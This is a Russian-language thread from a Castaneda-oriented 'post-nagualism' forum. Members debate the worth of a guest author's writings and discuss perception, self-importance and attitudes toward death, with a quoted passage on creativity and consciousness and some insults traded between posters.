Постнагуализм

Предлагаю тут сделать конструктивное обсуждение из темы Базар. Ибо. мне интересно что же так возбудило Корнака, он не колется ("мне помогло", [из украденного дневника клуба анонимных наркоманов]). хватать за язык а ля Ray, то же пользы мало. а вдруг там действительно что то есть?!

а смысл? вообще обсуждать ментальные индульгирования тех, кто примерно находится в положении 3 АЯ - не будет продуктивным.
там у человека идет активное освоение и "обучение" магии так, как он это может себе представить на основании своих же воззрений - синтаксиса понятий первого внимания.

он еще "за чертой" не бывал, но обладает набором сенсорных "ощущений" разного рода..

Не могу сказать что сам не был на такой стадии. Прекрасно знаю когда человек именно генерирует и пишет такие тексты...

это "детская болезнь", когда он обильно писается в памперсы и ходит в них же по-большому.
это проходит.

тут главная помощь - не дать человеку развить свой бред до уровня того, чтобы он стал сам руководить своим создателем, уверовавшим в собственные воззрения.

грубо говоря - нужно дать человеку время - закончить детский садик, потом школу, потом институт, потом дать самостоятельно поработать, а потом уже можно с ним осторожно начинать говорить о его воззрениях...

Начинать же спорить с пятиклассником об устройстве жизни - глубоко ошибочно.

смысл в познании себя и мира, очевидно. тут важно даже не то что пишет АВГ и тем более кто он такой, а что мы сами можем получить? вот так вот утилитарно, да.


я вот как раз и предлагаю особо его личность не обсуждать. зачем?


и помогать ему не надо. кто мы такие чтобы знать что хорошо человеку а что плохо. если его судьба покататься в дуровозке, чтож, так тому и быть

а, ок. собственно можно было бы и у тебя но там смысловая компонента уже настолько размыта флеймом что найти что то уже затруднительно

Вот этот смысл познания себя и мира и будет в том, что мы понимаем, что с пятиклассниками и их воззрениями нам заниматься непродуктивно.
Достаточно понимать, что они на стадии становления. Вот и все.

как раз это и утилитарно - не тратить своего времени и внимания на чью-то проблему взросления.

ну воззрения пятиклассников разбирать по меньшей мере проще чем того же КК, нет? не вижу ничего зазорного в том чтобы почитать букварь уже зная матан.

возможно и так. но ведь даже ты уже потратил времени порядком обсуждая это. разве не хочется иметь с этого некий профит?!

во первых, если вы не будете злостно оффтопить и откровенно хамить я обязуюсь вас в этой теме не банить, как бы лично мне не было бы неприятно то что вы пишете. чего не сделаешь ради общего блага.

во вторых, конфету и пулю из говна, конечно не получить, но получить прекрасное удобрение ни физика ни агротехника не запрещает. доступно?

По-моему весь смысл создания каких-то учений что кто-то достиг нечто и предлагает другим, как Будда избавился от страданий, у кого же возникнет желание становится джигурджиевским идиотом?

Да ты ж сам и есть...пятиклассник

читайте сообщение выше. выделю даже отдельным постулатом.
1. начать предлагаю с того, что мы не знаем источника того от куда пришло знание.

не знаем мы из каких продуктов получено удобрение. увидим это по тому какие на этой поляне заколосятся цветы. Доходит?

вдруг на него Святой Дух низошёл. кто знает

Я и имею с этого немалый профит. Я вполне удостоверился путем косвенных тестов, где находится аффтар. И теперь благодушно изолировал в игнор эту маленькую муху.

Что касается какой-то пользу ВООБЩЕ, то воину все идет впрок.
Если кто-то берет мысль из Кастанеды и её начинает перевирать на свой лад, то это в принципе показывает типологию самых распространенных тональных искажений.

но стоит ли в них углубляться? когда с тем же успехом можно обсудить первоисточник - мысли ДХ или Кастанеды, которые кажутся интересными или непонятными?

Карлитос писал писал фантастику из которой можно извлечь пользу благодаря знакомству с реально существующими учениями, поэтому джигурджиевцы не увидят ничего кроме джигурджиевщины.

некто, видишь ли ::)... "РАБОТА" над сваими тараканами, - это одно,
 а над чужими - савсем другой ВЫЗОВ, другой уровень. Надо чувствовать незнакомого чела как себя самого и через это чувство находить "рецепт", - оптимальный пинок под срандель, каторый в нужный момент направит в нужное место именно этого индивидуально обозначенного индивидуума...

Что касается писаний, то тут несколько иная ситуацие ::) Это творческий акт, обладающий Силой.  ПИсатель должен иметь вазможность умереть за сваи книги... и в то же время - быть совершенно отрешенным от "изречонного". Это как ::)... любовь :)

А что оттуда извлекает читатель - это уже ево личное искусство... его со-Настройка. Сила предоставляет массу материалов и вариантов "писаний", нужное тебе , именно тебе такому как ты есть здесь и сейчас возникает из тваей намеренности...  8)

Жорик который записал всех древних греков в несуществующий 4путь даже не знал что идиотами называли аполитичных людей.

Вот об том и речь, "если можешь не пиши", если не достиг того что хочешь предложить другим нахрен это нужно?

В случае Жорика всё объясняется созданием секты, он внушал людям будто они роботы что бы заставить бесплатно работать.

почему то после прочтения и осмысления сего на ум пришла следующая цитата

Виктор Олегович(tm)

Беседуя с AVG у меня возникло впечатление, что я беседую с радиоточкой, а не с живым человеком. интересно, у одного меня такое впечатление?

да, детектед полное неумение слушать и понимать другую точку зрения, говорит в основном одним и тем же тем мусорным диалогом, который у него вертится в башке. Логически мыслить и понимать даже логические построения не умеет на базовом уровне.

Ещё в копилку. AVG совершает одну тактическую ошибку за другой. судя по всему он решил, что форум набит школотой, которая только-только дочитала Кастанеду и кинулась выполнять магические пассы. ему невдомёк, что тут присутствует и олдскул, который помнит речи Брежнева на съездах политбюро и у которого хитро заверченные фразы ведущие в никуда, не вызывают ничего иного кроме зевоты смешанной с гадливостью

   Об этом стоит поговорить, хотя и не совсем в том направлении, которое задал OE.

   Начну с целей, которые преследует ВОСПРИЯТИЕ. Ведь все мы воспринимаем мир, а ЗАЧЕМ мы это делаем?
   Восприятие поставляет нам пищу для двух главных приложений: 1) удовлетворение сенсорно-эмоционального голода и 2) достижение утилитарно-практических целей. Это что-то вроде того, как древнеримский плебс требовал от властей хлеба и зрелищ. Только "хлеб" сейчас надо понимать в расширенном смысле - не только, как еду, а как все то, что относится к системе жизнеобеспечения человека.
   В этом смысле человек или человечество в целом похоже на летящий космический корабль, команда которого озабочена обеспечением нормальной работы всех узлов корабля (здесь и текущий ремонт, и отражение метеоритных атак, и прокладка безопасного маршрута) - все это взрослые заботы. А есть еще заботы детские - жажда приключений, типа подраться с инопланетянами или поохотиться на экзотических инопланетных животных. Причем, аналогия с кораблем далеко не полная, т.к. в реальных условиях приходится не только поддерживать данность (ремонтировать то, что досталось по наследству), но и добывать для того корабля топливо, и сам тот корабль постоянно совершенствовать, не останавливая полет.
   Основное различие между хлебным и зрелищным восприятием состоит в том, что хлебное восприятие ДЕЛАЕТ ВЫВОДЫ о мире, тогда как зрелищное ограничивается сбором новых впечатлений.
   К сожалению, большинство людей неспособны делать выводы о мире, исходя из своих впечатлений, а потому просто не видят между первым и вторым приложениями восприятия никакой разницы, сводя второе к первому. А то и хуже - отождествляют выводы о мире с разговорами на абстрактные темы, а "хлебное дело" с физическим трудом.
   Человек, съездивший в турпоездку на Мальдивы и поевший там экзотических плодов, ни на йоту не получил весомых выводов о мире, за исключением той банальности, что и на Мальдивах тоже можно жить, а экзотические плоды съедобны. Впрочем, это он знал еще перед поездкой, иначе бы не поехал туда отдыхать и не пихал себе в рот, что попало. То же самое произошло, если бы он отправился не на Мальдивы, а скажем на сафари в Африку. Только тогда бы одни приключения заменились бы на другие, охотничьи. Короче говоря, приключения они и есть приключения, и относятся к разряду зрелищ (1-ый пункт).
    Помнится в былые времена существовал сайт/форум "Сомнамбулятор" (он и сейчас есть, только с тех пор выродился - somn.ru), где народ делился друг с другом описанием сновидений. В то время много народу на это дело подсело, т.к. ассоциировало это занятие с практикой сновидений по Кастанеде. Скажем, Сергеич, который был админом 1-го форума "Нагуализм нового цикла" (на soznan.com), как раз принадлежит их числу и является наиболее типичной фигурой этого направления.
   Так вот сновидения в такой подаче есть ни что иное, как очередные Мальдивы, где обещают уникальные развлечения и аттракционы. Фактически тот же подход проявляется у многих в отношении второго внимания, где  "энергососущие неорганики" превращают пляжный туризм в сафари. То же касается и большинства состояний ИСС, достигаемых всевозможными способами ОТКЛОНЕНИЯ ТС в "другое место". Наркотой ли, алкоголем, холотропным дыханием или техниками достижения утомления - способ здесь не важен, а важна цель. А цель-то все та же - погоня за новыми зрелищами.
   В чуть меньшей степени, то все сказанное относится и к потреблению музыки, кинопродукции и изобразительного искусства. Особенно, когда у авторов этих произведений поехала крыша :). И тут точно так же, как и в перечисленных выше примерах, потребителей пленяет не качество, а "убойный эффект" :), т.е. насколько восприятие всего этого сносит крышу зрителю/слушателю. Типа того, что важен не вкус, а достижение похмелья.
   Я прошлась только вскользь по основным направлениям и, несомненно, многое пропустила. Но хочу, что стало понятно главное - все это лишь примеры разного рода зрелищ и погони за ними - основное развлечение сытого плебса. Знаний о мире оно по большому счету не дает, а выливается в лучшем случае в рыбацкие/охотничьи рассказы о приключениях. Вот и книги КК получили свою популярность главным образом за счет приключенческой стороны повествования. А большинство "последователей" КК представляют собой любителей приключений, мечтающих повторить маршруты КК. Как правило, книги Ксендзюка им сильно не нравятся, поскольку приключенческая сторона там почти отсутствует.
   Кстати, миф о том, что Ньютон открыл закон всемирного тяготения из-за того, что ему на голову упало яблоко, популярен именно потому, что такое мнение разделяет масса любителей приключений. Они уверены, что все знания о мире порождаются ощущениями от удара по голове, пожирания экзотических фруктов, слушания музыки, посещения каких-то географических мест (лесов, гор, "мест силы" и т.п.). Т.е. в упор не могут понять, что знания о мире не тождественны ощущениям и никогда к ощущениям не сводятся. Ощущения - лишь следствие начального/сенсорного контакта с миром, который сам по себе еще не дает того, что может потянуть на знание с большой буквы. Это лишь "знание" с малой буквы - чувствовал, ощущал, нюхал, лакомился.
   Ньютону удар яблоком по голове был совершенно не нужен, т.к. он и до этого знал, что тела падают на землю, и не только к тому времени был знаком с открытиями Галилея, но и сам успел разработать дифференциальное и интегральное исчисление именно для того, чтобы проанализировать движение материальных тел в силовом поле. А закон всемирного тяготения он открыл только потому, что приложил свои разработки к законам движения планет, ранее открытых Кеплером. Сам же Кеплер, будучи астрономом, не звездами любовался, а исследовал закономерности в движении планет. - Вот откуда знания о мире происходят!
   И не надо вякать :), что, мол, у Кеплера тоже были глаза, а у Ньютона чувствительная кожа на голове. Конечно же, они воспринимали мир и в чисто чувственном отношении, но ведь не это же, само по себе, привело к выводам, на уровне законов природы? - А привел к этому именно целенаправленный поиск закономерностей в мире, вместо того, чтобы ограничиваться "пересмотром" своих воспоминаний о приключениях.
   В конце концов, вся цивилизация стоит лишь на том, что способна проносить знания о мире из поколения в поколение. И если мы окинем взглядом плоды деятельности человеческих рук (а они находятся буквально везде, куда только можно кинуть взгляд), то все это окажется тем самым "хлебным знанием", стенами и оборудованием того космического корабля, в котором все мы летим в будущее. Впрочем, любителям приключений и тоже удается что-то проносить из поколения в поколение. Это "приключенческая" литература, музыка и живопись. Все это щекочет нервы потомкам и современникам, в какой-то мере удовлетворяя их сенсорно-эмоциональный голод и жажду зрелищ.
   Ньютон с Кеплером - плохие примеры, т.к. может сложиться обманчивое впечатление, что делать выводы о мире это удел больших ученых, а наше с вами дело жрать под пальмой авокадо :). На самом деле, это не так. Ньютон и Кеплер получили огромную известность только потому, что выводы о мире, которые они сделали, оказались очень важными, и, тем самым, повлияли на всю картину мироздания в целом. Тогда как существует чертова прорва выводов о мире (его частных сторон), которые на громкое звание законов мира совершенно не претендуют. И тем не менее, это тоже знание того же самого качества, с авокадным вкусом не имеющее ничего общего. Кстати, ум необходим как раз для генерации выводов, а если на последние спроса нет, то ум действительно целесообразно остановить, т.к. тогда вкусовые ощущения станут полнее :).
   В соседней теме "Базар" участвует наш гость AVG, который даже какие-то книжки успел написать. Но дело не в книжках, а в том, что его интерес проявлен именно к выводам об устройстве мира и человека, и попыткам (порой довольно успешным) делать такие выводы самостоятельно, не пугаясь вступить в противоречие с авторитетами (с одной стороны) или заимствовать у них отдельные идеи (с другой стороны). Причем, то и другое относится именно к аналитической стороне восприятия мира, а не чувственно-описательной. А потому встречные вопросы к нему типа "а что ты чувствовал при остановке ВД?" в этом контексте теряют всякий смысл. Ибо ОВД, к сожалению, не является продуктивным состоянием для аналитических заключений.
   Какие-то сентенции из выступлений нашего гостя шокируют даже меня :), но не стоит относиться к этому слишком серьезно. В конце концов, сделать из AVG икону задача не стоит. Сейчас, пожалуй, интереснее всего, что он из того же теста, что и Ксендзюк, хотя и выводы, которые делает каждый из них, сильно разнятся. Т.е. сходство тут не идейное, а лишь в подходах, где то и другое аналитическое, а не повествовательное.

Пипа, интересно, как в вашем левополушарном мышлении отображается идея собственной неминуемой смерти?))  

Для мене загадка, - как вам удается быть столь увлечонной анализом (этой механистически детерменированай вселенной), мотивация в чом?

   Нет, не одно и то же. На скале под грибами гораздо зрелищнее :).

Pipa видимо подразумевает что не существует каких-то "практик поумнения" потому что "корнаки" не умеют думать из-за органических дефектов мозга.

ну вот кстати о Ксендзюке, у меня от него впечатления примерно как у Корнака от Гусева. то есть, прочтение его книг запустило какой то процесс осмысления. и не нужно сравнивать его с КК. главное что это работает здесь и сейчас для меня. остальное вторично. но я не спешу бегать и голосить об этом с горящими глазами. во первых было бы тупо пытаться тащить Ксендзюка на сайт к себе же. во вторых я не знаю как это сработало и не стесняюсь себе в этом признаться.

ну тут много о чём можно поговорить. [1] за две с половиной тысячи лет много кто успел об этом написать. кое что успело и поистлеть. всё перечитать жизни не хватит. в чём тут преференции Гусева? в том что он здесь и сейчас на форуме? сомнительное преимущество. судя по тому что он пишет. [2] не заметил особых успехов. в чём они? [3] ну таких смельчаков полны палаты наполеонов. в ряде случаев (похоже что и в этом тоже) человеку специалист нужен с добрым сердцем а не разнузданное общение на форуме.

Самообман называется, у Ксендзюка точно так же не поставлено никакой цели которую он сам достиг и хочет предложить другим и не к чему прилагать усилия.

собственно настойчиве попытки выпросить у AVG хлеба ни к чему не привели. он предпочёл насладить присутствующих зрелищем своих каталептических кривляний. получилось не очень. хотя цель возможно была и благая

Pipa, да ну - все это несерьезно...
как бы ты отнеслась к "валенку", который в сарае изобретает из велосипеда вечный двигатель?
то же порадовалось бы самостоятельности его мышления, или посоветовала бы просто продолжать учиться?

И с чего это ты до сих пор еще упоминаешь "приключенческую" сторону книг КК?
неужели ты не знаешь что сама работа над собственным восприятием и вниманием и есть именно такая же интереснейшая штука, напрочь лишенная рутины и скуки Ксендзюкизма?

Ничего, собственно, приключенческого в описаниях Кастанеды нет.
Да, выбивание его самого из кокона рациональности - было увлекательным делом, связанным с походами, страхом, приключениями, охотой, приемами галлюциногенов, гипнозом, остановкой и обманом его интерпретаций и многим прочим.

Обычный человек может все это романтизировать и даже принять за сказки... Но он ошибется.
просто описание шаманов и магов, оно такое - не слишком научное.
Хотя всем процессам можно найти вполне академические аналоги. Но это быдо бы уходом из словаря нагвализма в словарь например неврологии.

Конечно свободное пребывание в собственном подсознании - это еще тайна из тайн. Какие там кроются возможности - науке пока еще недоступно об этом судить.
Но судя по всему открытие этих порталов сулит людям небывалый всплеск энергии и способностей.

основное же условие блокировки этих путей, которые по мнению ДХ и магов отнюдь не естественно от нас изолированы и закрыты - это свойство нашего рационального сознания к множественной саморефлексии. Отсюда получается, что ЧСВ и только оно напрочь от нас закрывает наши возможности. Очень сильно усиленный и несколько раз повторенный резонирующий сигнал нашего рационального восприятия просто - забивает саму возможность прислушаться к чему-то еще.

Я наверное тоже не совсем отвечаю тебе на твое сообщение в теме. Но вывод такой, что "свой путь" дурацкого индульгирования вовсе не помогает ни в чем разобраться и ценности не имеет.

только ОВД и отбрасывание ВСЕГО ЛИШНЕГО на пути разбития зеркала саморефлексии. Вот единственное, чем нужно заниматься.

Я всякие быдляные книжки кропать, усугубляя свое невежество и любуясь даже им - это ваапще тупик!

вы с Корнаком подбросили нам тут очередной тупик и еще его оправдываете...  

Как в том анектоде:" самый верный способ заставить замолчать женщину, - спросить о чем она сейчас думает"? :)

тут мне кажется ты подняла слишком серьёзный вопрос, возможно достойный отдельной темы. что значит ЗАЧЕМ ?! а что, у нас выбор что ли есть??? кстати, ВОСПРИЯТИЕ, по моему, это шаг #2, шаг #1 это внимание. и им то не просто управлять, что уж тут до восприятия. попробуй например оторвать своё внимание от тем которые тебе не интересны, и приклеить его к тем к которым ты равнодушна...

кстати, неплохая практика!!

Я вот на что хотел обратить внимание.
Вспомним, какими были нагвали даже не в разных, а в одной линии?
Они были АБСОЛЮТНО разные. И методы и подходы у них никак не пересекались.
Что же мы видим в наших рядах? Серая однообразная масса "последователей" дон Хуановкого учения. Все только и смотрят друг на друга, чтобы никто не шагнул влево-вправо.

А как эта серая маса отноится к выскочкам типа Гусева, Пипы, Ксендзюка?
Да они или пытаются стать на них похожими, или пытаются распять.

Люди, будьте сами собой. Ищите свой путь. Даже не путь. Ищите себя. Изучайте себя.

Это. право называться нагвалем, даже в шутку, это ещё заслужить надо.
Они были АБСОЛЮТНО разные. И методы и подходы у них никак не пересекались.

что, раскольник, отрекаешься козней бесовских?! лучше поздно чем никогда, АМИНЬ!

подписываюсь

Опять тупишь?! что ты знаешь об их целях и методах?  да, они по-разному делали ОДНО ДЕЛО.
Системно они делали совершенно одно и то же. Просто ты как дикарь, который смотрит на европейца, варящего кофе... Он кипятит воду, а потом дует на неё, делает черной, засыпая кофе,а потом белит молоком, добавляет горький цикорий, а потом сладкий сахар...
Сплошные противоречия!!!



опять ты просто не различаешь цветов... в ТЕБЕ изъян..

Вот посторонний человек сразу заметил - А ты болван не различаешь ничего, потому что по жизни болван!

   Левое полушарие такими вопросами обычно не заморачивается :).
   И тут дело скорее не в полушариях, а уже в том, что само сознание человека сохраняет определенную дистанцию от своего тела. И та дистанция состоит в том, что далеко не все события/процессы в теле доходят до сознания, а с другой стороны - далеко не все требования сознания тело выполняет (даже если такая возможность у тела имеется).
   Получилось так не из-за "ошибки природы", а той необходимости, чтобы внимание сознания рыскало снаружи тела, а не внутри него. Т.е. исторически сознание - это СТОРОЖЕВАЯ БАШНЯ! Именно поэтому голова поворачивается на шее в разные стороны, и большинство сенсоров расположено тоже на ней. Вот и мозг оказался там избытке, хотя "изначально" мозг был спинным, тем самым, распределялся по телу более равномерно.
   И произошло это примерно в те времена, когда выживание стало в большей степени зависеть от успешности КОНКУРЕНЦИИ между живыми организмами (поедание друг друга), нежели от качества обеспечения внутреннего "микроклимата" в теле (гомеостазиса). И вот тут проблемы внешнего мира встали острее проблем внутреннего мира. Отсюда и передовая роль сознания, превратившегося в результате этого процесса из сторожевой собаки в хозяина.
   Нам сегодняшним этого не понять, т.к. сейчас мы живем в социуме, где вопросы конкуренции значительно ослаблены. Фактически нет никого, чтобы мог бы незаметно подкрасться к нам и съесть нас :). Большинство естественных врагов человечество успешно побороло. И, несмотря на то, что внешний мир, события в котором по-прежнему курирует сознание, остается важным (но уже в качестве социального взаимодействия), главенство сознания над телом уже не является очевидной необходимостью. Т.е. в "тепличных условиях" социума на первое место вновь выходят внутренние проблемы тела: обеспечение здоровья + приятности телесных ощущений (= избежание страданий, т.к. раньше жизнь была важнее страданий).
   А отсюда рождаются разного рода "ретро-революционные" идеи, это направление поддерживающие и развивающие. В частности это попытки ликвидировать ту дистанцию, о которой шла речь в начале (между сознанием и телом). Здесь масса объединительных идей, начиная с йоги и кончая ... доном Хуаном :). Идея передать пальму первенства от ума воле (которая, как и ожидается, находится в пупке :)) - целиком находится в плане таких ретро-преобразований. Вот и идея заставить сознание постоянно думать о смерти - с того же куста ягода.


   Дело в том, что практически любое действие в мире выглядит, как механизм, и в терминах механизма может быть описано. Например, стандартные вопросы "Как?" и "Почему?" уже подразумевают в качестве ответа указание на механизм свершения того или иного события.
   Пока мы лежим на пляже кверху животом, посасываем мороженное и витаем в своих сексуальных фантазиях :), то в механизмах у нас нет нужды. Но как только возникает необходимость произвести в окружающем нас мире какое-то заранее определенное изменение, то сразу же возникает потребность в "механистичном мышлении". Т.е. "механистическое детерминирование" есть НЕОБХОДИМОСТЬ сознания действующего субъекта! А иначе мир его "не послушается", и усилия пойдут прахом, не достигнув желаемого результата.
   Т.е. механистичность сознания у нас от мира, ибо он таков есть. Причем механистичность надо понимать не как синоним простоты или "линейности", а как систему перекрестных взаимосвязей, которыми одни элементы мира (объекты) зацеплены с другими. В каком-то смысле мир похож на лабиринт, в котором путь к желаемому находит не тот, кто быстрее бегает или силен физически, а тот, кто держит план того лабиринта в памяти или на "шпаргалке". Не мы этот мир создали, а потому и вынуждены разбираться с тем, как он устроен (писать те самые шпаргалки). Однако этого занятия можно избежать, если сидеть на одном месте, пребывая в фантазиях, сновидениях, наркотических трипах и т.п. То бишь чисто телесному бытию внешний мир не нужен, покуда социум позволяет жить, не напрягаясь, используя не аналитические способности сознания, а чисто подражательные рефлексы.

Pipa, тут фишка в том что ты говоришь о смерти вообще а не своей собственной.

   Естественно. А если бы я говорила только о своей, то это было бы признаком раздутого ЧСВ :). Ведь не может же моя смерть быть важнее меня самой?

ЧСВ последний аргумент кастанедчиков когда нечего сказать, Гусев кстати ничего кроме него выдать и не способен.

"Pipa пишет редко, но Pipa пишет смачно". олдскул детектед. однако не дадим себя очаровать упоительными историями из истории естествознания.

А что? по моему Ньютон с Кеплером - как раз хорошие примеры. потому что. чтобы стать Н&К (ввожу новый мем) нужно обладать прежде всего не некой абстрактной "гениальностью" а
1. колоссальной работоспособностью
2. огромным трудолюбием
3. потрясающей самокритикой

качеств, которых столь не хватает нашему новорождённому гению (но уже очень спесиво относящимся к сомнениям в собственной гениальности). и тогда вас будут узнавать и без подписи и тыкания себя в грудь. как узнали Ньютона в истории о брахистохроне "как льва узнают по его когтям". наоборот, сколько таких непризнанных "гениев" сгинуло в Лету и расселось по дурдомам? на 1-2 курсе универа, едва научившись читать подвизавшись в критике Эйнштейна?! нет. такой футбол нам не нужен

А ты делаешь другое дело "по-ихнему"

Это был юмор. Я все время забываю ставить смайлы как Пипа для дураков

Pipa, благодарю за развернутый текст "ухода от ответа" :)...
вопщем похоже на то, что вы просто "не заморачиваетесь",
 предпочитая ощущение бессмертия, :) и помогает поддерживать это искусственное труднодостижимое состояние как раз активная деловитость левого полушария. ::)
Есть лопата есть план траншеи , человек получил смысл жизни.)))

Ну какбэ вероятность того что он роет себе могилу не отвечает его интересам, поэтому фильтры сносют её в спам, так? :)

Позже выложу копипасту, - интересное мнение на взаимоотношения рациональности и правополушарной творческой активности в "механизмах совершения действий", надож вас както вытягивать за уши из однобокой рациональносте :)

непонятно о каком именно сознании ты говоришь. Сознание животных порой поизощреннее и потоньше человеческого в вопросах сохранения жизни. И вряд ли мозг человека развился благодаря этому.

У человека комплексное многосоставное сознание и именно древние отделы мозга больше отвечают за его безопасность в этом мире.
Кстати в момент сильного испуга как раз рациональный ум блокируется и тело поручается другому руководству, если конечно его не парализует...)))

    Это не аргумент, а так оно и есть. Смерть человека не может быть важнее его самого. Если важность того человека невелика, то и смерть его не слишком важна.
    Вызывает лишь улыбку человек, считающий себя избавившимся от ЧСВ, но поглощенный постоянным пережевыванием мыслей о собственой смерти и сопряженным с ней страхами.
    Лично я полагаю, что непрерывно обдумывать личные проблемы вредно :). Из-за этого возникает зацикленность на себе, мешающая общему кругозору. Это касается не только вопроса о неизбежности смерти, но и всего комплекса житейских проблем. Конечно, их тоже приходится решать, но они не должны застить взор.

а человек который

1. понял структуру своего ЧСВ
2. понял что ему его не победить
3. понял как его рационально использовать, пусть и ценой неких жертв

не вызывает улыбки? т.е. тут вопрос поставлен как раз так как ты любишь. с точки зрения структуры. тогда как Гусев его ставит с точки зрения силы (смогу или нет? поймут или нет? выслушают или опустят?) что по моему является стратегически проигрышным.

ЗЫ да что там стратегически (устало машет рукой). этот ваш Гусев уже вовсю несётся по трубам в канализацию, самоускоряясь в поле собственной важности. и затормозить его падение не хватит никакого твоего полемического исскусства. первый закон не умолим!

Для кого?

все это ерунда! тело не имеет особых критериев важности и этических оценок.

ЧСВ получается автоматически из-за усиления сигнала и "снятия сливок" словами ДХ. Рациональная часть сознания это какой-то просто трансформатор, многократно усиливающий сигналы и очищающий их и дополняющий.  Вполне естественно что и представление о самом себе точно так же дублируется и многократно накладывается само на себя.
И это происходит в автоматическом режиме.
Просто конструкторы немного этого не предусмотрели и наша способность усиливать очищать и дополнять получаемые сигналы от органов чувств точно так же включает нас самих в эти оцениваемые и усиливаемые сигналы.

А это в свою очередь забивает все остальное, что мы способны воспринимать.

"Единство противоположностей.

---

   Было бы, однако, грубым упрощением только противопоставлять творческий процесс сознанию. Между тем именно такие воззрения довольно широко распространены среди тех представителей психологии и искусствоведения, которые придерживаются позиций ортодоксального психоанализа и философии иррационализма. С их точки зрения, любое творчество, и прежде всего художественное, является своеобразным отражением неудовлетворенных потребностей (в частности, сексуальных), которые из-за моральных запретов не могут быть реализованы в поведении. И тогда единственный социально приемлемый выход они находят в творчестве.
   Поиск истоков творчества в глубоко скрытых внутренних конфликтах художника, в темных безднах его души, в его конфронтации с невыносимой реальностью неизбежно приводит этих авторов к утверждению принципиальной непостижимости творчества, его антагонизма с сознанием. Сторонники такого подхода апологетизируют крайний индивидуализм творческого человека и считают его деятельность порождением наиболее интимных особенностей личности. Это последнее утверждение само по себе возражений не вызывает, но за ним нередко стоит ошибочное понимание природы человеческой индивидуальности. Ведь и раскрытие потенциальных возможностей человека немыслимо в отрыве от сложных и многозначных социальных отношений.
   Уникальность личности, столь необходимая для творчества, формируется именно в процессе социальных отношений, а не в отрыве от них и не вопреки им. В то же время такие отношения требуют достаточно высокого уровня развития сознания. Поэтому отношение между сознанием и творчеством отнюдь не исчерпывается "принципом невмешательства".
   Этот принцип соблюдается только на этапе созревания нового. До и после этого этапа сознание играет активную роль в творческом процессе.
   Именно сознание определяет в самом общем виде направленность творческой активности и основные ее задачи. Важна роль сознания на заключительном этапе творчества, когда его продукт должен превратиться из "вещи в себе" в "вещь для нас". На этом этапе сознание выполняет две основные функции: критико-аналитическую и формообразующую. Благодаря первой из многих потенциальных вариантов, "предлагаемых" сознанию образным мышлением, выбираются только в наибольшей степени соответствующие поставленной задаче.
   Явление так называемого "инсайта", творческого озарения, по-видимому, состоит именно в том, что в уже сложившуюся модель действительности или какого-то ее аспекта внедряются новые, ранее не упорядоченные связи.
 Какие-то компоненты образного контекста без больших потерь удалось перевести на язык логико-знакового мышления. Речь может всегда идти, подчеркнем это, только о более или менее удачном "переводе", качество которого зависит от таланта творца (может быть, это и есть основное свойство таланта).

   Творческая активность не только во многом определяет уровень материального и духовного развития общества - она играет исключительно важную роль в сохранении и психического и физического здоровья. Поэтому систематический интерес к данной проблеме проявляют медики, в частности ученые, объединенные в Международную ассоциацию по динамической психиатрии. По инициативе президента этой организации профессора Г. Аммона различные аспекты проблемы творчества неоднократно обсуждались как на страницах журнала "Динамическая психиатрия", так и на многих симпозиумах.
   Профессор Г. Аммон и его последователи полагают, что творчество, будучи по природе своей интимным самовыражением, в то же время целиком ориентировано на других людей, способствует установлению эмоциональных контактов и невозможно без них. Творческий потенциал не просто способность к созданию нового в науке или искусстве. Это прежде всего своеобразный стиль жизни, характеризующийся богатством связей с миром и способностью получать удовольствие от жизни во всех ее проявлениях. В творчестве люди ищут преодоления противоречивости мира и пытаются найти его гармонию, а вместе с ней и гармонию человеческой души, залог душевного и физического здоровья".

---

(с) В. Роттенберг "Сновидения, гипноз и деятельность мозга".

   Ну, и где среди перечисленного мысли о смерти?
   Я препочитаю прожить короткую, но яркую и деятельную жизнь, вместо того, чтобы жить долго, тлея, как головешка.
   Мысли о смерти приводят только к одному - к стремлению этот момент отсрочить, идя ради этого на любые жертвы. А в результате чего человек всю жизнь себе губит потугами прожить дольше положенного.

А зачем если он неизбежен?

а нигде. это у вас то ли с ОЕ то ли с Барабаном зародилась беседа о весёлом. я немного о другом вообще то.

понятное желание. но легко предсказуемое и мало оригинальное. другое дело если вдруг поймёшь, что ярко гореть не удасться, карма например такая, хватит ли смелости и чести честно ототлеть своё?!

  Ровно для того, кто проводит оценку. Если для тебя бродячая кошка не представляет важности, то и ее смерть будет (для тебя же!) неважна. То же самое и по отношению к себе. Если считаешь себя слишком важной фигурой, то и ее будущая смерть будет казаться "невосполнимой потерей". А если не видишь в своем существовании какой-то особой важности, то и смерть заслуживает ровно столько же сожаления.



   А тогда и вовсе нечего об этом думать :), когда думай, не думай, а конец один :).

Примитив какой-то, причина смерти в рождении )

   Гражданин Гусев имеет ввиду психолого-терапевтический эффект, в котором истинные нагвалисты не нуждаются :).

Некто, кстате да, сорри за оффтоп, но вроде гусева уже прожевали и можно  распыляться)))

   Тем более. Ведь думать о рождении ты почему-то не предлагаешь :). А ведь было бы куда полезнее.

 мандавошки типа шама завсегда мрут в свете софитов да :P

А почему бы и нет? Просто предполагается что рождение уже было а смерть еще только предстоит.

а вот и нет. настоятели сего форума считают что старикан ещё повоюет.
Гражданин Гусев имеет редкое сочетание бронебойности Капитана Очевидность и буйности разжалованного секретаря обкома. всё это щедро справлено распальцовкой уличных кидал и навязчивой графоманией душевнобольных.

Не, я не понимаю. когда у нас перед глазами манускрипты сего пейсателя плюс его ещё не успевшие остыть выступления на форуме, в чём нас пытаются убедить Pipa и Корнак7?!?! я ничего не понимаю в кащенизме? ой вэй

Верно, только "думать" действительно, - мало толку.
 Осознавать врата рождения и смерти (не надо представлять тут ж. влагалище)))

- значит иметь их ввиду, как некий неустранимый "фон", как , например, Время, пространство, небо над головой... ::) иманации Арла ;D

Интересное совпадение. В Закрытом Разделе была тема "Базар-вокзал"

"то что у вас паранойа ещё не значит что за вами не следят"(с)

Почти 50% голосующих нашли что-то полезное в текстах Гусева.
Наверное Пипа подкрутила

Ээ... А кто такой Гусев то?  :-\ ::)

А ты кто такой?

тоже впечатление возникло что ему "помогают". но не будем думать о плохом. мне не жаль если он станет призёром специальной олимпиады. наоборот, если кому помогло - очень хорошо. мне вот - не очень. (грустный)



вот кто такой.

http://avg51.land.ru/

читай и приходи своё мнение

Dexter

Спс, глянем. :)

кстати. ВНЕЗАПНО! Гусев умеет общаться на человеческом языке оказывается (без адового количества скобочек, кривляний и агрессивного капслока). даже выложу тут. на всякий случай. чтоб не потерялось


и тут видно что гипертрофированная важность у автора это всерьёз. если в кривляниях он как бы шутил, амплуа мол такое, ага. то тут видно что автор относится к себе и своим текстам с глубокой налобной складкой. но я это не в качестве злой сатиры а в наставление верующим.

